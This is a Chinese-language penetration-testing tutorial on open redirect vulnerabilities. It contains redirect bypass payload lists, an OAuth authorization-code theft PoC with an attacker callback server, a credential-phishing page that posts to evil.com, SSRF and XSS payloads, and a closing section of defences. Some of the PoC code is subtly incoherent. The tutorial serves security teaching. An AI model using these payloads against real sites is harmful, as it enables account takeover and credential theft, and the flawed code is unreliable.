title: "【教程】开放重定向漏洞实战:从原理到OAuth劫持与SSRF利用全解析"
tags: [open-redirect, oauth, ssrf, phishing, web-security, 渗透测试]
category: pentest
适合人群:安全研究人员、渗透测试工程师、CTF选手、Web开发者
前置知识:HTTP协议基础、URL结构、OAuth流程基本概念
一、前置准备
1.1 工具安装
# 核心工具
pip install requests beautifulsoup4
# 推荐安装 ffuf 用于模糊测试
go install github.com/ffuf/ffuf/v2@latest
# Sublist3r 子域名收集
pip install Sublist3r
# 安装 Python urllib3 用于URL解析
pip install urllib3
1.2 靶场搭建(可选)
如果你有自己的测试环境,可以准备一个简单的 Flask 应用:
pip install flask
cat > redirect_test.py << 'PYEOF'
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route('/redirect')
def open_redirect():
url = request.args.get('url', '/')
# 不安全的重定向
return redirect(url)
@app.route('/safe_redirect')
def safe_redirect():
url = request.args.get('url', '/')
# 安全的重定向 - 白名单检查
from urllib.parse import urlparse
parsed = urlparse(url)
if parsed.netloc and parsed.netloc not in ('target.com', 'www.target.com'):
return 'URL不在白名单中', 403
return redirect(url)
if __name__ == '__main__':
app.run(port=5000)
PYEOF
python redirect_test.py
1.3 为什么重要
开放重定向(Open Redirect)是 OWASP Top 10 中 A10:2021-Unsafe Redirects 指出的安全问题。虽然单独看危害有限,但它是攻击链的关键环节:
- OAuth劫持:窃取授权码/Token
- SSRF利用:绕过IP白名单访问内网资源
- 钓鱼攻击:伪装为可信域名
- XSS结合:重定向到恶意页面触发脚本
- CORS绕过:绕过Origin检查
二、核心原理
2.1 什么是开放重定向
开放重定向是指Web应用接受用户可控的URL参数,未经验证或验证不当就将用户浏览器重定向到该URL。
正常的重定向:
用户访问 → target.com/dashboard → 302 → target.com/login
漏洞利用:
用户访问 → target.com/redirect?url=https://evil.com → 302 → evil.com
2.2 漏洞成因
# 典型的漏洞代码(Flask示例)
@app.route('/redirect')
def redirect_vuln():
url = request.args.get('url')
# 直接使用用户输入进行重定向,无任何验证
return redirect(url)
# 典型的漏洞代码(PHP示例)
<?php
header("Location: " . $_GET['url']);
exit;
?>
# 典型的漏洞代码(Node.js示例)
app.get('/redirect', (req, res) => {
res.redirect(req.query.url); // 危险!
});
2.3 常见触发点
| 参数名 | 出现场景 | 危害级别 |
|---|---|---|
url | 通用重定向参数 | 🔴 高 |
redirect | 登录后跳转 | 🔴 高 |
next | OAuth/SSO流程 | 🔴 高 |
return | 支付/回调 | 🔴 高 |
continue | 邮件确认链接 | 🔴 高 |
dest | 文档中的链接 | 🟡 中 |
path | 文件访问 | 🟡 中 |
callback | 第三方集成 | 🔴 高 |
goto | 内部系统 | 🟡 中 |
target | 外链跳转 | 🟡 中 |
三、实操步骤
3.1 手动发现开放重定向
步骤1:识别重定向参数
在目标网站上寻找重定向相关的功能点:
# 使用 waybackurls 收集历史URL中的重定向参数
echo "target.com" | waybackurls | grep -E '[?&](url|redirect|next|return|continue|dest|path|callback|goto|target)=' | head -50
# 使用 gau 收集
echo "target.com" | gau | grep -E '[?&](url|redirect|next|return|continue|dest|path|callback|goto|target)='
步骤2:构造测试Payload
# 基础测试 - 使用外部URL
curl -v "https://target.com/redirect?url=https://evil.com" -I
# 使用协议变体测试
curl -v "https://target.com/redirect?url=//evil.com" -I
curl -v "https://target.com/redirect?url=https:evil.com" -I
curl -v "https://target.com/redirect?url=\\evil.com" -I
# 使用URL编码测试
curl -v "https://target.com/redirect?url=%2f%2fevil.com" -I
curl -v "https://target.com/redirect?url=https%3a%2f%2fevil.com" -I
步骤3:验证重定向行为
import requests
def test_redirect(url, payload):
"""测试URL是否存在开放重定向"""
test_url = f"{url}?url={payload}"
try:
resp = requests.get(test_url, allow_redirects=False, timeout=10)
if resp.status_code in (301, 302, 303, 307, 308):
location = resp.headers.get('Location', '')
if 'evil.com' in location:
print(f"[!] 漏洞确认: {location}")
return True
except Exception as e:
print(f"[-] 请求失败: {e}")
return False
# 测试目标
target = "https://target.com/redirect"
payloads = [
"https://evil.com",
"http://evil.com",
"//evil.com",
"/\\evil.com",
"https://evil.com%252f.target.com",
"https://evil.com%0d%0aLocation:%20https://target.com",
]
for payload in payloads:
test_redirect(target, payload)
3.2 自动化发现
使用 ffuf 进行模糊测试
# 先构造 payload 字典
cat > redirect_payloads.txt << 'EOF'
https://evil.com
http://evil.com
//evil.com
/\\evil.com
https://evil.com%2f.target.com
https://evil.com%0d%0aLocation:%20https://target.com
https://evil.com%23.target.com
https://evil.com%40.target.com
https://evil.com?.target.com
EOF
# 使用 ffuf 测试
ffuf -u "https://target.com/redirect?FUZZ=https://evil.com" \
-w redirect_payloads.txt:FUZZ \
-H "Cookie: session=xxx" \
-fr "URL not found" \
-mc 301,302,303,307,308
使用 Burp Suite 自动测试
# Burp Suite 扩展脚本 (Jython)
from burp import IBurpExtender, IScannerCheck
class BurpExtender(IBurpExtender, IScannerCheck):
def checkIssue(self, baseRequestResponse):
# 获取原始请求
request_info = baseRequestResponse.getRequest()
# 构造测试请求
test_request = request_info.toString()
test_request = test_request.replace(
'url=https://example.com',
'url=https://evil.com'
)
# 发送测试请求
test_response = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(),
self._helpers.stringToBytes(test_request)
)
# 检查响应
if 'evil.com' in test_response.getResponse().toString():
return True
return False
3.3 绕过技术
3.3.1 协议变体绕过
# 不带协议
//evil.com
# 反斜杠
\\/evil.com
\/evil.com
# URL编码
%2f%2fevil.com
%2F%2Fevil.com
# 双重编码
%252f%252fevil.com
3.3.2 域名混淆绕过
# 使用@符号
https://target.com@evil.com
# 使用#号
https://evil.com#target.com
# 使用?号
https://target.com?.evil.com
# 使用子域名
https://evil.com.target.com
# 使用Unicode字符
https://target.com.evil.com
# 使用ip地址
https://evil.com
http://[::ffff:evil.com]
3.3.3 白名单绕过
# 绕过域名白名单 - 使用子域名
https://target.com.evil.com
https://eviltarget.com
# 绕过协议检查 - 使用data URI
data:text/html,<script>location='https://evil.com'</script>
# 绕过路径检查 - 使用反斜杠
https://target.com\@evil.com
# 绕过双重检查 - 使用URL解析差异
https://target.com@evil.com
https://target.com%40evil.com
3.3.4 特殊字符绕过
# 使用制表符
https://target.com%09.evil.com
# 使用换行符
https://target.com%0d%0aLocation:%20https://evil.com
# 使用null字符
https://target.com%00.evil.com
# 使用Unicode
https://target.com\u0040evil.com
四、绕过技术详解
4.1 WAF绕过
# WAF绕过 - 使用不同编码
bypasses = [
"https://evil.com",
"http://evil.com",
"//evil.com",
"\\/evil.com",
"%2f%2fevil.com",
"%2F%2Fevil.com",
"https://evil.com%23.target.com",
"https://evil.com%40.target.com",
"https://evil.com?.target.com",
"https://evil.com%0d%0a.target.com",
]
for bypass in bypasses:
print(f"测试: {bypass}")
4.2 反射型XSS结合
<!-- 配合XSS的开放重定向利用 -->
<script>
// 重定向到恶意页面,页面中包含XSS payload
window.location = "https://evil.com/xss?callback=alert(document.domain)";
</script>
<!-- 利用JavaScript协议 -->
javascript:alert(document.cookie)
<!-- 利用SVG -->
<svg onload="alert(1)">
4.3 SSRF利用
# 利用开放重定向进行SSRF
import requests
def ssrf_via_redirect(redirect_url, internal_url):
"""
通过开放重定向绕过IP白名单
"""
# 构造请求到内部网络
payload = f"{redirect_url}?url=http://127.0.0.1:8080/admin"
resp = requests.get(payload, allow_redirects=True, timeout=10)
return resp.text
# 示例
ssrf_via_redirect(
"https://target.com/redirect",
"http://192.168.1.100:8080/admin"
)
五、实战案例复盘
5.1 OAuth授权码劫持
攻击场景:
- 攻击者发现目标网站的OAuth登录存在开放重定向
- 构造恶意授权链接
- 用户点击后,授权码被发送到攻击者服务器
攻击代码:
# OAuth授权码劫持 PoC
import requests
def oauth_theft(redirect_url):
"""
通过开放重定向窃取OAuth授权码
"""
# 构造恶意OAuth URL
malicious_url = (
f"https://target.com/oauth/authorize"
f"?client_id=12345"
f"&response_type=code"
f"&redirect_uri={redirect_url}" # 指向攻击者控制的重定向
f"&scope=profile email"
)
print(f"恶意授权链接: {malicious_url}")
# 模拟用户访问
resp = requests.get(malicious_url, allow_redirects=False)
if resp.status_code in (301, 302):
# 用户被重定向到攻击者服务器,携带授权码
print(f"重定向到: {resp.headers.get('Location')}")
return malicious_url
# 攻击者服务器接收授权码
def attacker_server():
"""攻击者服务器 - 接收授权码"""
from flask import Flask, request
app = Flask(__name__)
@app.route('/callback')
def callback():
code = request.args.get('code')
print(f"窃取到授权码: {code}")
# 使用授权码获取访问令牌
token_url = "https://target.com/oauth/token"
data = {
'grant_type': 'authorization_code',
'code': code,
'client_id': '12345',
'client_secret': 'attacker_secret',
'redirect_uri': 'https://evil.com/callback'
}
resp = requests.post(token_url, data=data)
access_token = resp.json().get('access_token')
if access_token:
print(f"成功获取访问令牌: {access_token}")
# 使用令牌获取用户信息
user_resp = requests.get(
'https://target.com/api/userinfo',
headers={'Authorization': f'Bearer {access_token}'}
)
print(f"用户信息: {user_resp.json()}")
return "攻击成功"
app.run(port=8080)
# 执行攻击
oauth_theft("https://evil.com/callback")
5.2 钓鱼攻击
# 钓鱼攻击PoC - 伪装为可信域名
import requests
def phishing_attack(redirect_url, phishing_page):
"""
利用开放重定向进行钓鱼攻击
"""
# 用户看到的是可信域名
phishing_url = (
f"{redirect_url}"
f"?url=https://target.com/login" # 显示为可信URL
f"&next={phishing_page}" # 实际重定向到钓鱼页面
)
print(f"钓鱼链接: {phishing_url}")
# 模拟用户访问
resp = requests.get(phishing_url, allow_redirects=True, timeout=10)
print(f"最终访问: {resp.url}")
return phishing_url
# 钓鱼页面示例
phishing_html = """
<!DOCTYPE html>
<html>
<head>
<title>登录 - Target.com</title>
<style>
body { font-family: Arial, sans-serif; background: #f5f5f5; }
.login-box {
max-width: 400px;
margin: 100px auto;
padding: 30px;
background: white;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 { text-align: center; color: #333; }
input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; }
button { width: 100%; padding: 12px; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; }
button:hover { background: #0056b3; }
</style>
</head>
<body>
<div class="login-box">
<h1>Target.com 登录</h1>
<form action="https://evil.com/steal" method="POST">
<input type="text" name="username" placeholder="用户名" required>
<input type="password" name="password" placeholder="密码" required>
<button type="submit">登录</button>
</form>
</div>
</body>
</html>
"""
5.3 Token泄露
# Token泄露PoC
import requests
def token_leak(redirect_url):
"""
通过开放重定向泄露认证Token
"""
# 构造包含Token的URL
malicious_url = (
f"{redirect_url}"
f"?url=https://target.com/api/data"
f"&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
)
print(f"恶意URL: {malicious_url}")
# 攻击者服务器接收Token
resp = requests.get(malicious_url, allow_redirects=True, timeout=10)
# 从URL中提取Token
from urllib.parse import urlparse, parse_qs
parsed = urlparse(resp.url)
token = parse_qs(parsed.query).get('token', [None])[0]
if token:
print(f"窃取到Token: {token}")
return token
六、防御建议
6.1 使用白名单验证
from urllib.parse import urlparse
from flask import Flask, redirect, request, abort
app = Flask(__name__)
# 安全的重定向实现
ALLOWED_DOMAINS = [
'target.com',
'www.target.com',
'app.target.com',
]
@app.route('/redirect')
def safe_redirect():
url = request.args.get('url', '/')
# 解析URL
parsed = urlparse(url)
# 白名单验证
if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
abort(403, "URL不在白名单中")
# 验证协议
if parsed.scheme and parsed.scheme not in ('http', 'https'):
abort(403, "不支持的协议")
# 验证路径安全性
if '..' in parsed.path or '~' in parsed.path:
abort(403, "路径不安全")
return redirect(url)
6.2 使用相对路径
# 更安全的方式 - 使用相对路径
@app.route('/redirect')
def relative_redirect():
# 不接受完整URL,只接受相对路径
path = request.args.get('path', '/')
# 验证路径
if not path.startswith('/') or '..' in path:
abort(403)
return redirect(path)
6.3 实施双重验证
# 双重验证 - 重定向前确认
@app.route('/redirect')
def double_verify_redirect():
url = request.args.get('url')
token = request.args.get('token')
# 验证token
if not verify_csrf_token(token):
abort(403)
# 验证URL
parsed = urlparse(url)
if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
abort(403)
return redirect(url)
6.4 安全配置检查
# 检查HTTP响应头
curl -I https://target.com/redirect?url=https://evil.com
# 检查Content-Security-Policy
curl -s -I https://target.com | grep -i "content-security-policy"
# 检查X-Frame-Options
curl -s -I https://target.com | grep -i "x-frame-options"
6.5 监控和告警
# 监控可疑重定向
import logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger('redirect_monitor')
def monitor_redirect(request):
"""监控可疑的重定向请求"""
url = request.args.get('url', '')
parsed = urlparse(url)
# 检查是否指向外部域名
if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
logger.warning(
f"可疑重定向: {request.remote_addr} -> {url}"
)
# 发送告警
send_alert(f"检测到可疑重定向: {url}")
# 检查编码绕过
if '%' in url or '\\' in url:
logger.warning(
f"编码重定向: {request.remote_addr} -> {url}"
)
七、常见陷阱
7.1 陷阱1:只验证了域名,没验证协议
# ❌ 错误做法 - 只检查域名
def bad_check(url):
if 'target.com' in url:
return redirect(url) # 仍然可能被利用
# ✅ 正确做法 - 同时检查协议
def good_check(url):
parsed = urlparse(url)
if parsed.netloc not in ALLOWED_DOMAINS:
abort(403)
if parsed.scheme not in ('http', 'https'):
abort(403)
return redirect(url)
7.2 陷阱2:使用了黑名单而非白名单
# ❌ 错误做法 - 黑名单容易被绕过
BLACKLIST = ['evil.com', 'malware.com', 'phishing.com']
def bad_blacklist_check(url):
for domain in BLACKLIST:
if domain in url:
abort(403)
return redirect(url) # 可以绕过黑名单
# ✅ 正确做法 - 使用白名单
ALLOWED = ['target.com', 'www.target.com']
def good_whitelist_check(url):
parsed = urlparse(url)
if parsed.netloc not in ALLOWED:
abort(403)
return redirect(url)
7.3 陷阱3:没有处理编码绕过
# ❌ 错误做法 - 没有解码
def bad_decode_check(url):
if 'evil.com' not in url:
return redirect(url) # 可以用编码绕过
# ✅ 正确做法 - 先解码再检查
import urllib.parse
def good_decode_check(url):
# URL解码
decoded_url = urllib.parse.unquote(url)
decoded_url = urllib.parse.unquote(decoded_url) # 双重解码
parsed = urlparse(decoded_url)
if parsed.netloc not in ALLOWED_DOMAINS:
abort(403)
return redirect(url)
7.4 陷阱4:重定向前没有验证用户意图
# ❌ 错误做法 - 直接重定向
@app.route('/redirect')
def bad_redirect():
url = request.args.get('url')
return redirect(url) # 没有用户确认
# ✅ 正确做法 - 显示确认页面
@app.route('/redirect')
def safe_redirect_with_confirm():
url = request.args.get('url')
parsed = urlparse(url)
if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
abort(403)
# 显示确认页面
return f"""
<html>
<body>
<h1>即将离开本网站</h1>
<p>您即将被重定向到: {url}</p>
<p>请确认是否继续</p>
<a href="{url}">继续</a>
<a href="/">返回</a>
</body>
</html>
"""
7.5 陷阱5:忽略子域名验证
# ❌ 错误做法 - 只检查主域名
def bad_subdomain_check(url):
if 'target.com' in url:
return redirect(url) # 可以使用子域名绕过
# ✅ 正确做法 - 精确匹配子域名
def good_subdomain_check(url):
parsed = urlparse(url)
if parsed.netloc not in ALLOWED_DOMAINS:
abort(403)
return redirect(url)
八、总结(含速查表)
开放重定向漏洞速查表
| 攻击类型 | 利用方式 | 危害 | 防御 |
|---|---|---|---|
| OAuth劫持 | 重定向到攻击者服务器 | 🔴 高 | 白名单验证 |
| 钓鱼攻击 | 伪装为可信域名 | 🔴 高 | 用户确认 |
| SSRF利用 | 绕过IP白名单 | 🔴 高 | 白名单验证 |
| Token泄露 | URL参数携带Token | 🔴 高 | 从URL移除Token |
| XSS结合 | 重定向到恶意页面 | 🟡 中 | CSP策略 |
防御清单
- ✅ 使用白名单验证 - 验证目标URL的域名在允许列表中
- ✅ 验证协议 - 只允许http和https协议
- ✅ 检查编码 - URL解码后再次验证
- ✅ 使用相对路径 - 避免接受完整URL
- ✅ 添加用户确认 - 重定向前显示确认页面
- ✅ 实施监控 - 记录可疑的重定向请求
- ✅ 设置CSP - 使用Content-Security-Policy限制资源加载
- ✅ 启用HSTS - 使用HTTP Strict Transport Security
常见重定向参数
| 参数 | 场景 | 利用难度 |
|---|---|---|
url | 通用重定向 | 简单 |
next | OAuth/SSO流程 | 中等 |
redirect | 登录后跳转 | 简单 |
return | 支付/回调 | 中等 |
continue | 邮件确认 | 简单 |
callback | 第三方集成 | 中等 |
dest | 文档链接 | 简单 |
path | 文件访问 | 中等 |
goto | 内部系统 | 简单 |
target | 外链跳转 | 简单 |
一句话防御
永远不要信任用户输入的URL。使用白名单验证目标域名,验证协议类型,URL解码后再次检查,添加用户确认机制。